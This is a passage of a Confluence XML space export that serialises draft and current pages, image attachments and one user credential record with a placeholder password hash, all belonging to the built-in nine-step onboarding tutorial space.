<element class="InternalUserAttribute" package="com.atlassian.crowd.model.user"><id name="id">557059</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98330</id>
|
||||
<property name="hibernateVersion">14</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262172</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:51.895</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98341</id>
|
||||
<property name="hibernateVersion">18</property>
|
||||
<property name="title"><![CDATA[step05-04.png]]></property>
|
||||
<property name="lowerTitle"><![CDATA[step05-04.png]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262254</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262255</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262256</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262260</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">3</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98329</id>
|
||||
<property name="hibernateVersion">14</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262170</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:51.903</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98342</id>
|
||||
<property name="hibernateVersion">18</property>
|
||||
<property name="title"><![CDATA[home.jpg]]></property>
|
||||
<property name="lowerTitle"><![CDATA[home.jpg]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262204</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262223</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262230</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98328</id>
|
||||
<property name="hibernateVersion">10</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262187</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:51.909</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98339</id>
|
||||
<property name="hibernateVersion">16</property>
|
||||
<property name="title"><![CDATA[step-2-image-5.png]]></property>
|
||||
<property name="lowerTitle"><![CDATA[step-2-image-5.png]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262209</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262212</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262213</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262243</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">2</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98327</id>
|
||||
<property name="hibernateVersion">13</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262190</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:51.915</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98340</id>
|
||||
<property name="hibernateVersion">19</property>
|
||||
<property name="title"><![CDATA[step06-image03.png]]></property>
|
||||
<property name="lowerTitle"><![CDATA[step06-image03.png]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262211</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262214</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262224</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262244</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">2</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98334</id>
|
||||
<property name="hibernateVersion">14</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262169</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:51.921</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98345</id>
|
||||
<property name="hibernateVersion">17</property>
|
||||
<property name="title"><![CDATA[home.jpg]]></property>
|
||||
<property name="lowerTitle"><![CDATA[home.jpg]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262226</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262229</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262242</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98333</id>
|
||||
<property name="hibernateVersion">13</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262192</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:51.927</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98346</id>
|
||||
<property name="hibernateVersion">19</property>
|
||||
<property name="title"><![CDATA[Confluence-Origami-Necktie.jpeg]]></property>
|
||||
<property name="lowerTitle"><![CDATA[confluence-origami-necktie.jpeg]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262222</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262239</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262240</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98332</id>
|
||||
<property name="hibernateVersion">71</property>
|
||||
<property name="title"><![CDATA[Get serious with a table (step 5 of 9)]]></property>
|
||||
<property name="lowerTitle"><![CDATA[get serious with a table (step 5 of 9)]]></property>
|
||||
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163846</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196654</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196655</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196656</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196657</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196658</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262149</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262152</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:51.989</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<collection name="attachments" class="java.util.Collection"><element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98341</id>
|
||||
</element>
|
||||
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98351</id>
|
||||
</element>
|
||||
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98354</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position">4</property>
|
||||
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98343</id>
|
||||
<property name="hibernateVersion">18</property>
|
||||
<property name="title"><![CDATA[step09-01.png]]></property>
|
||||
<property name="lowerTitle"><![CDATA[step09-01.png]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262246</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262247</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262248</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262265</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">3</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98306</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98331</id>
|
||||
<property name="hibernateVersion">10</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262189</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.025</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98344</id>
|
||||
<property name="hibernateVersion">17</property>
|
||||
<property name="title"><![CDATA[Step8-01.png]]></property>
|
||||
<property name="lowerTitle"><![CDATA[step8-01.png]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262227</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262228</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262258</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262259</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">2</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98305</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98336</id>
|
||||
<property name="hibernateVersion">10</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262188</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.030</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98335</id>
|
||||
<property name="hibernateVersion">12</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262195</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.033</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98337</id>
|
||||
<property name="hibernateVersion">17</property>
|
||||
<property name="title"><![CDATA[prev.jpg]]></property>
|
||||
<property name="lowerTitle"><![CDATA[prev.jpg]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262236</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262249</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262250</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98338</id>
|
||||
<property name="hibernateVersion">18</property>
|
||||
<property name="title"><![CDATA[welcome.png]]></property>
|
||||
<property name="lowerTitle"><![CDATA[welcome.png]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262235</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262238</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262262</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98314</id>
|
||||
<property name="hibernateVersion">37</property>
|
||||
<property name="title"><![CDATA[Learn the wonders of autoconvert (step 7 of 9)]]></property>
|
||||
<property name="lowerTitle"><![CDATA[learn the wonders of autoconvert (step 7 of 9)]]></property>
|
||||
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163844</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196609</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196610</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196611</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196612</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196613</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196644</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262150</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262167</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262185</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.044</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position">6</property>
|
||||
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="InternalUserCredentialRecord" package="com.atlassian.crowd.model.user">
|
||||
<id name="id">524289</id>
|
||||
<property name="user" class="InternalUser" package="com.atlassian.crowd.model.user"><id name="id">491521</id>
|
||||
</property>
|
||||
<property name="passwordHash"><![CDATA[NEW_PASSWORD_HASH]]></property>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98313</id>
|
||||
<property name="hibernateVersion">13</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262191</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.049</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98312</id>
|
||||
<property name="hibernateVersion">14</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262193</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.053</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98311</id>
|
||||
<property name="hibernateVersion">16</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262177</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.056</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98318</id>
|
||||
<property name="hibernateVersion">42</property>
|
||||
<property name="title"><![CDATA[Prettify the page with an image (step 4 of 9)]]></property>
|
||||
